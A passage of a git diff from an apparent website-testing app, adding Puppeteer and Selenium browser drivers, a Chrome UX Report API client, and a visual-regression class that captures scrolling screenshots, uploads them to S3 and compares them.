self.update_testcase( + index=i, type='assertion', + start_time=datetime.now() + ) + + try: + print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}') + # using puppeteer, find elememt and assert if element.text == assertion.text + selector = await self.format_element(step["assertion"]["element"]) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + # scrolling to element using plain JavaScript + await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') + elementText = await self.page.evaluate(f'document.querySelector({selector}).textContent') + elementText = elementText.strip() + print(f'elementText => {elementText}') + print(f'value => {step["assertion"]["value"]}') + assert elementText == step["assertion"]["value"] + + except Exception as e: + image = await self.save_screenshot(page=self.page) + exception = e + passed = False + + await self.update_testcase( + index=i, type='assertion', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + + if step['assertion']['type'] == 'exists': + exception = None + passed = True + image = None + await self.update_testcase( + index=i, type='assertion', + start_time=datetime.now() + ) + + try: + print(f'asserting that element -> {step["assertion"]["element"]} exists') + # using puppeteer, find elememt and assert it exists + selector = await self.format_element(step["assertion"]["element"]) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + await self.page.J(selector) + + except Exception as e: + image = await self.save_screenshot(page=self.page) + exception = e + passed = False + + await self.update_testcase( + index=i, type='assertion', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + i += 1 + await self.update_testcase( + time_completed=datetime.now() + ) + await self.driver.close() + print('-- testcase run complete --') \ No newline at end of file diff --git a/app/api/utils/crux.py b/app/api/utils/crux.py new file mode 100644 index 00000000..73601c4e --- /dev/null +++ b/app/api/utils/crux.py @@ -0,0 +1,36 @@ +import requests, os, json + + + +class Crux(): + + def __init__(self, site_url): + self.site_url = site_url + self.key = os.environ.get('GOOGLE_CRUX_KEY') + + + def get_data(self): + + url = f'https://chromeuxreport.googleapis.com/v1/records:queryRecord?key={self.key}' + headers = { + "Content-Type": "application/json", + } + data = { + "origin": str(self.site_url), + } + + res = requests.post( + url=url, + headers=headers, + data=json.dumps(data) + ) + + response = res.json() + + if res.status_code != 200: + response = { + "status": "failed", + "message": "This site_url does not have enough historical data in the CRUX API to respond with." + } + + return response diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js new file mode 100644 index 00000000..cae0befc --- /dev/null +++ b/app/api/utils/custom-config.js @@ -0,0 +1,14 @@ +// custom configurations for Lighthouse CLI + + + +module.exports = { + extends: 'lighthouse:default', + plugins: ['lighthouse-plugin-crux'], + settings: { + cruxToken: process.env.GOOGLE_CRUX_KEY, + skipAudits: [ + "full-page-screenshot", + ], + }, +} \ No newline at end of file diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py new file mode 100644 index 00000000..c9ccce82 --- /dev/null +++ b/app/api/utils/driver_p.py @@ -0,0 +1,175 @@ +from pyppeteer import launch +import time, os, numpy, json, sys, datetime, asyncio + + + +async def driver_init( + window_size='1920,1080', + wait_time=30, + ): + + sizes = window_size.split(',') + + options = { + 'executablePath': os.environ.get('CHROMIUM'), + 'args': [ + '--no-sandbox', + '--disable-dev-shm-usage', + f'--window-size={window_size}', + ], + 'defaultViewport': { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + }, + 'timeout': wait_time * 1000 + } + + driver = await launch( + options=options, + headless=True, + handleSIGINT=False, + handleSIGTERM=False, + handleSIGHUP=False + ) + + return driver + + + + + +async def interact_with_page(page): + # simulate mouse movement + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + + return page + + + + + + +async def driver_test(*args, **options): + + print("Testing puppeteer instalation and integration...") + + try: + driver = await driver_init() + page = await driver.newPage() + await page.goto('https://google.com', {'waitUntil': 'networkidle0'}) + await interact_with_page(page) + title = await page.title() + assert title == 'Google' + if title == 'Google': + status = 'Success' + else: + status = 'Failed' + await driver.close() + except Exception as e: + print(e) + status = 'Failed' + + sys.stdout.write('--- ' + status + ' ---\n' + + 'Puppeteer installed and working \N{check mark} \n' + ) + + + + + + +async def get_data(url, configs, *args, **options): + sizes = configs['window_size'].split(',') + driver = await driver_init(window_size=configs['window_size']) + page = await driver.newPage() + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Safari/537.36" + ) + + await page.setViewport(viewport) + + if configs['device'] == 'mobile': + await page.setUserAgent(userAgent) + + + logs = [] + def record_logs(log): + if log.type == 'error': + if '.js' in log.text: + source = 'javascript' + elif 'http' in log.text: + source = 'network' + else: + source = 'other' + log_obj = { + "level": "SEVERE", + "source": source, + "message": str(log.text), + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + elif log.type == 'warning': + if '.js' in log.text: + source = 'javascript' + elif 'http' in log.text: + source = 'network' + else: + source = 'other' + log_obj = { + "level": "WARNING", + "source": source, + "message": str(log.text), + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + def record_network(request): + log_obj = { + "level": "SEVERE", + "source": "network", + "message": f'{request.failure()["errorText"]} {request.url}', + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + def record_error(error): + err = str(error).split(' at ')[0] + log_obj = { + "level": "SEVERE", + "source": "javascript", + "message": f'{err}', + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + + page.on('console', lambda log : record_logs(log)) + page.on('requestfailed', lambda request : record_network(request)) + page.on('pageerror', lambda error : record_error(error)) + + await page.goto(url, page_options) + + # await page.waitForNavigation(navWaitOpt) + await interact_with_page(page) + html = await page.content() + + await driver.close() + + data = { + 'html': html, + 'logs': logs, + } + + return data \ No newline at end of file diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py new file mode 100644 index 00000000..582c3b0e --- /dev/null +++ b/app/api/utils/driver_s.py @@ -0,0 +1,167 @@ +from selenium import webdriver +from selenium.webdriver.common.desired_capabilities import DesiredCapabilities +from selenium.webdriver import ActionChains +import time, os, numpy, json, sys + + + +def driver_init( + window_size='1920,1080', + device='desktop', + script_timeout=30, + load_timeout=30, + wait_time=15, + ): + + sizes = window_size.split(',') + + prefs = { + 'download.prompt_for_download': False, + 'download.extensions_to_open': '.zip', + 'safebrowsing.enabled': True + } + + mobile_emulation = { + "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": 1.0 }, + "userAgent": ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36" + ) + } + + chromedriver_path = os.environ.get("CHROMEDRIVER") + options = webdriver.ChromeOptions() + options.binary_location = os.environ.get('CHROMIUM') + options.add_argument("--no-sandbox") + options.add_argument("disable-blink-features=AutomationControlled") + options.add_experimental_option('prefs',prefs) + options.add_argument("start-maximized") + options.add_argument("--headless") + options.add_argument("--disable-dev-shm-usage") + options.add_argument("--window-size=%s" % window_size) + + if device == 'mobile': + options.add_experimental_option("mobileEmulation", mobile_emulation) + + caps = DesiredCapabilities.CHROME + caps['goog:loggingPrefs'] = {'performance': 'ALL'} + + driver = webdriver.Chrome(executable_path=chromedriver_path, options=options, desired_capabilities=caps) + driver.set_page_load_timeout(load_timeout) + driver.set_script_timeout(script_timeout) + driver.implicitly_wait(wait_time) + + + return driver + + +def driver_test(): + + print("Testing selenium instalation and integration...") + try: + driver = driver_init() + driver.get('https://google.com') + title = driver.title + assert title == 'Google' + if title == 'Google': + status = 'Success' + else: + status = 'Failed' + except Exception as e: + print(e) + status = 'Failed' + + sys.stdout.write('--- ' + status + ' ---\n' + + 'Selenium installed and working \N{check mark} \n' + ) + + quit_driver(driver) + sys.exit(0) + + + +def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5): + """ + Pauses the driver until all network requests have been resolved + + --> Adding mouse interaction to load WP plugin rendered content + + returns once driver determines that all request have resolved or + total wait time exceeds max_wait_time + + """ + + def get_request_list(driver): + # get current snapshot of driver requests + requests = driver.get_log('performance') + r_list = [] + for r in requests: + network_log = json.loads(r["message"])["message"] + + # Checks if the current 'method' key has any Network related value. + if("Network.response" in network_log["method"] + or "Network.request" in network_log["method"] + or "Network.webSocket" in network_log["method"]): + + r_list.append(network_log) + + return r_list + + + def interact_with_page(driver): + # simulate mouse movement and click on tag + html_tag = driver.find_elements_by_tag_name('html')[0] + action = ActionChains(driver) + action.move_to_element(html_tag).perform() + return + + + resolved = False + wait_time = 0 + + # actions before comparing network logs + interact_with_page(driver) + time.sleep(min_wait_time) + + while not resolved and wait_time < max_wait_time: + # get first set of logs + list_one = get_request_list(driver=driver) + + # wait 5 sec or sec for request to resolve + time.sleep(interval) + + # get second set of logs + list_two = get_request_list(driver=driver) + + # check if logs are equal + resolved = numpy.array_equal(list_one, list_two) + + wait_time += interval + + return + + + + +def quit_driver(driver): + ''' + Quits and reaps all child processes in docker + ''' + print('Quitting session: %s' % driver.session_id) + driver.quit() + try: + pid = True + while pid: + pid = os.waitpid(-1, os.WNOHANG) + print("Reaped child: %s" % str(pid)) + + # avoid infinite loop cause pid value -> (0, 0) + try: + if pid[0] == 0: + pid = False + except: + pass + + + except ChildProcessError: + pass \ No newline at end of file diff --git a/app/api/utils/image.py b/app/api/utils/image.py new file mode 100644 index 00000000..a6f88768 --- /dev/null +++ b/app/api/utils/image.py @@ -0,0 +1,1163 @@ +from .driver_s import driver_init, driver_wait, quit_driver +from .driver_p import driver_init as driver_init_p +from selenium import webdriver +from ..models import Site, Scan, Test, Mask +from selenium.webdriver.chrome.options import Options +from django.forms.models import model_to_dict +from django.core.serializers.json import DjangoJSONEncoder +from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc +from scanerr import settings +from PIL import Image as I, ImageChops, ImageStat +from pyppeteer import launch +from datetime import datetime +from asgiref.sync import sync_to_async +import time, os, sys, json, uuid, boto3, \ + statistics, shutil, numpy, cv2 + + + + + +class Image(): + """ + High level Image handler used to compare screenshots of + a website and retrieve single one-page screenshots. + Also known as VRT or Visual Regression Testing. + Contains five methods scan(), scan_p(), test(), + screenshot(), and screenshot_p(). The _p appendage + denotes using Puppeteer as the webdriver: + + def scan(site, driver=None) -> grabs multiple + screenshots of the website and uploads + them to s3. + + + def test(test=) -> compares each + screenshot in the two scans and records + a score out of 100% + + + def screeshot(site, driver=None) -> grabs single + screenshot of the site and uploads it to s3 + + """ + + + def __init__(self): + + # scripts + self.set_jquery = ( + """ + var jq = document.createElement('script'); + jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; + document.getElementsByTagName('head')[0].appendChild(jq); + """ + ) + + + self.mask_function = ( + """ + (function($){ + $.fn.overlayMask = function (action) { + var mask = this.find('.overlay-mask'); + + // Create the required mask + + if (!mask.length) { + this.css({ + position: 'relative' + }); + mask = $('
'); + mask.css({ + position: 'absolute', + width: '100%', + height: '100%', + color: 'green', + backgroundColor: 'green', + top: '0px', + left: '0px', + zIndex: 100, + }).appendTo(this); + } + + // Act based on params + + if (!action || action === 'show') { + mask.show(); + } else if (action === 'hide') { + mask.hide(); + } + + return this; + }; + })(jQuery) + + """ + ) + + + + + def check_timeout(self, timeout, start_time): + """ + Checks to see if the current time exceedes the alotted timeout. + + returns -> True if timeout exceeded + """ + + current = datetime.now() + diff = current - start_time + if diff.total_seconds() >= timeout: + print('exceeded timeout') + return True + else: + return False + + + + + def scan(self, site, configs, driver=None,): + """ + Grabs multiple screenshots of the website and uploads + them to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init() + driver_present = False + + + # request site_url + driver.get(site.site_url) + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), + ) + + + if configs.get('disable_animations') == True: + # inserting animation pausing script + try: + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') + + # inserting video pausing scripts + try: + driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + except: + print('cannnot pause videos') + + # mask all listed ids + if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': + ids = configs.get('mask_ids').split(',') + for id in ids: + try: + driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # mask all Global mask ids that are active + active_masks = Mask.objects.filter(active=True) + if len(active_masks) != 0: + for mask in active_masks: + try: + driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + + # scroll one frame at a time and capture screenshot + image_array = [] + index = 0 + last_height = -1 + bottom = False + start_time = datetime.now() + while not bottom: + + # checking if maxed out time + if self.check_timeout(configs.get('timeout', 300), start_time): + break + + # scroll single frame + if index != 0: + # driver.execute_script("window.scrollBy(0, window.innerHeight);") + driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs.get('min_wait_time', 10))) + + # get current position and compare to previous + new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), + ) + + # get screenshot + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "index": index, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + index += 1 + + else: + bottom = True + + if not driver_present: + quit_driver(driver) + + return image_array + + + + + + + def _scan(self, site, configs, driver=None,): + """ + Grabs multiple screenshots of the website and uploads + them to s3 as one package. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init() + driver_present = False + + + # request site_url + driver.get(site.site_url) + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), + ) + + if configs.get('disable_animations') == True: + # inserting animation pausing script + try: + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') + + # inserting video pausing scripts + try: + driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + except: + print('cannnot pause videos') + + + # mask all listed ids + if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': + ids = configs.get('mask_ids').split(',') + for id in ids: + try: + driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # mask all Global mask ids that are active + active_masks = Mask.objects.filter(active=True) + if len(active_masks) != 0: + for mask in active_masks: + try: + driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + + # vertically concats two images + def add_images(im1, im2): + im1 = I.open(im1) + im2 = I.open(im2) + new_img = I.new('RGB', (im1.width, im1.height + im2.height)) + new_img.paste(im1, (0, 0)) + new_img.paste(im2, (0, im1.height)) + return new_img + + + # scroll one frame at a time and capture screenshot + final_img = None + image_array = [] + index = 0 + last_height = -1 + bottom = False + start_time = datetime.now() + while not bottom: + + # checking if maxed out time + if self.check_timeout(configs.get('timeout', 300), start_time): + break + + # scroll single frame + if index != 0: + # driver.execute_script("window.scrollBy(0, window.innerHeight);") + driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs.get('min_wait_time', 10))) + + # get current position and compare to previous + new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), + ) + + # get screenshot + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + + # adding new image to bottom of existing image (if not index = 0) + pic_id_2 = uuid.uuid4() + if index != 0 and final_img is not None: + add_images(final_img, image).save(f'{pic_id_2}.png') + os.remove(final_img) + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + else: + I.open(image).save(f'{pic_id_2}.png') + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + + # remove local copy + os.remove(image) + + index += 1 + + else: + bottom = True + + + remote_path = f'static/sites/{site.id}/{pic_id_2}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(final_img, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + + + # create image obj and add to list + img_obj = { + "index": 0, + "id": str(pic_id_2), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + # remove local copy + os.remove(final_img) + + if not driver_present: + quit_driver(driver) + + return image_array + + + + + + + + async def scan_p(self, site, configs): + """ + Using Puppeteer, grabs multiple screenshots of the website and uploads + them to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) + page = await driver.newPage() + + sizes = configs.get('window_size', '1920,1080').split(',') + is_mobile = False + if configs.get('device') == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs.get('max_wait_time', 30)*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs.get('device') == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # requesting site url + await page.goto(site.site_url, page_options) + + + if configs.get('disable_animations') == True: + # inserting animation pausing script + try: + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') + + # pausing videos + try: + videos = await page.querySelectorAll('video') + for vid in videos: + await page.evaluate('(vid) => vid.pause()', vid) + except Exception as e: + print(e) + + + # mask all listed ids + if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': + ids = configs.get('mask_ids').split(',') + for id in ids: + try: + await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # mask all Global mask ids that are active + @sync_to_async + def get_active_global_masks(): + masks = Mask.objects.filter(active=True) + active_masks = [] + if len(masks) > 0: + for mask in masks: + active_masks.append(mask.id) + return active_masks + + active_masks = await get_active_global_masks() + + for mask in active_masks: + try: + await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + + # scroll one frame at a time and capture screenshot + image_array = [] + index = 0 + last_height = -1 + bottom = False + start_time = datetime.now() + while not bottom: + + # checking if maxed out time + if self.check_timeout(configs.get('timeout', 300), start_time): + break + + # scroll single frame + if index != 0: + await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs.get('min_wait_time', 10))) + + # get current position and compare to previous + new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs.get('min_wait_time', 10)) + + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "index": index, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + index += 1 + + else: + bottom = True + + + await driver.close() + + return image_array + + + + + + + + + async def _scan_p(self, site, configs): + """ + Using Puppeteer, grabs multiple screenshots of the website and uploads + them to s3 as a single image. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) + page = await driver.newPage() + + sizes = configs.get('window_size', '1920,1080').split(',') + is_mobile = False + if configs.get('device') == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs.get('max_wait_time', 30)*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs.get('device') == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # requesting site url + await page.goto(site.site_url, page_options) + + if configs.get('disable_animations') == True: + # inserting animation pausing script + try: + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') + + # pausing videos + try: + videos = await page.querySelectorAll('video') + for vid in videos: + await page.evaluate('(vid) => vid.pause()', vid) + except Exception as e: + print(e) + + # mask all listed ids + if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': + ids = configs.get('mask_ids').split(',') + for id in ids: + try: + await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # mask all Global mask ids that are active + @sync_to_async + def get_active_global_masks(): + masks = Mask.objects.filter(active=True) + active_masks = [] + for mask in masks: + active_masks.append(mask.id) + return active_masks + + active_masks = await get_active_global_masks() + + for mask in active_masks: + try: + await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + + # vertically concats two images + @sync_to_async + def add_images(im1, im2): + im1 = I.open(im1) + im2 = I.open(im2) + new_img = I.new('RGB', (im1.width, im1.height + im2.height)) + new_img.paste(im1, (0, 0)) + new_img.paste(im2, (0, im1.height)) + return new_img + + + # scroll one frame at a time and capture screenshot + final_img = None + image_array = [] + index = 0 + last_height = -1 + bottom = False + start_time = datetime.now() + while not bottom: + + # checking if maxed out time + if self.check_timeout(configs.get('timeout', 300), start_time): + break + + # scroll single frame + if index != 0: + await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs.get('min_wait_time', 10))) + + # get current position and compare to previous + new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs.get('min_wait_time', 10)) + + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + + # adding new image to bottom of existing image (if not index = 0) + pic_id_2 = uuid.uuid4() + if index != 0 and final_img is not None: + new_img = await add_images(final_img, image) + new_img.save(f'{pic_id_2}.png') + os.remove(final_img) + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + else: + I.open(image).save(f'{pic_id_2}.png') + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + + # remove local copy + os.remove(image) + + index += 1 + + else: + bottom = True + + + remote_path = f'static/sites/{site.id}/{pic_id_2}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(final_img, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + + + # create image obj and add to list + img_obj = { + "index": 0, + "id": str(pic_id_2), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + # remove local copy + os.remove(final_img) + + + await driver.close() + + return image_array + + + + + + + + + + + def test(self, test, index=None): + """ + Compares each screenshot between the two scans and records + a score out of 100%. + + Compairsons used : + - Structral Similarity Index (ssim) + - PIL ImageChop Differences, Ratio + - cv2 ORB Brute-force Matcher, Ratio + + + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # setup temp dirs + if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')): + os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}')) + + # temp root + temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}') + + # loop through and download each img in scan and compare it. + pre_scan_images = test.pre_scan.images + img_test_results = [] + scores = [] + i = 0 + + if index is not None: + pre_scan_images = [test.pre_scan.images[index]] + i = index + + for pre_img_obj in pre_scan_images: + + # getting pre_scan image + pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') + with open(pre_img_path, 'wb') as data: + s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) + + # open with PIL Image library + pre_img = I.open(pre_img_path) + # convert to array + pre_img_array = numpy.array(pre_img) + + # getting 